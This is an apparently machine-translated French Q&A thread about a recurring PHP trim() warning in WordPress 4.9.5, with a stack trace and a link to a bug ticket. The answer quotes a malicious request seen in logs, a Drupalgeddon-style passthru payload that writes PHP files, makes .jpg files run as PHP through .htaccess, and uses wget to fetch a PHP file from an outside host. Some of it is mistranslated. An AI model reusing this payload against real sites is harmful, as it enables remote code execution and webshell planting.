J'utilise Wordpress 4.9.5 et constate parfois l'erreur suivante dans mes journaux.
E_WARNING: trim() expects parameter 1 to be string, array given
La trace de pile ressemble à ceci, elle ne provient donc pas du code de thème personnalisé.
in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736)
…::parse_query called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (1621)
…ry::get_posts called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (3230)
in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599)
in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715)
in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960)
in wp called at /var/www/wordpress/html/wp-blog-header.php (16)
in require called at /var/www/wordpress/html/index.php (17)
Est-ce un bug Wordpress connu/inconnu et y a-t-il un correctif?
J'ai couru dans cette aujourd'hui. C'est un bug. J'ai déposé un rapport de bogue ici:
https://core.trac.wordpress.org/ticket/46797
Le problème est cette ligne de code:
$qv['name'] = trim( $qv['name'] );
Un utilisateur (malveillant) envoie une demande qui ressemble à:
GET /? Q = utilisateur/mot de passe et nom [#post_render] [] = passthru & nom [#type] = balisage & nom [#markup] = echo 'Vuln !! corrigez-le maintenant! > vuln.htm; echo 'Vuln !!'> sites/default/files/vuln.php; echo 'Vuln !!'> vuln.php; cd sites/default/files /; echo 'AddType application/x-httpd-php .jpg'> .htaccess; wget ' http://40k.waszmann.de/Deutsch/images/up.php '
Une telle requête fait de $ qv ['name'] un tableau et non une chaîne.
Doit être désinfecté.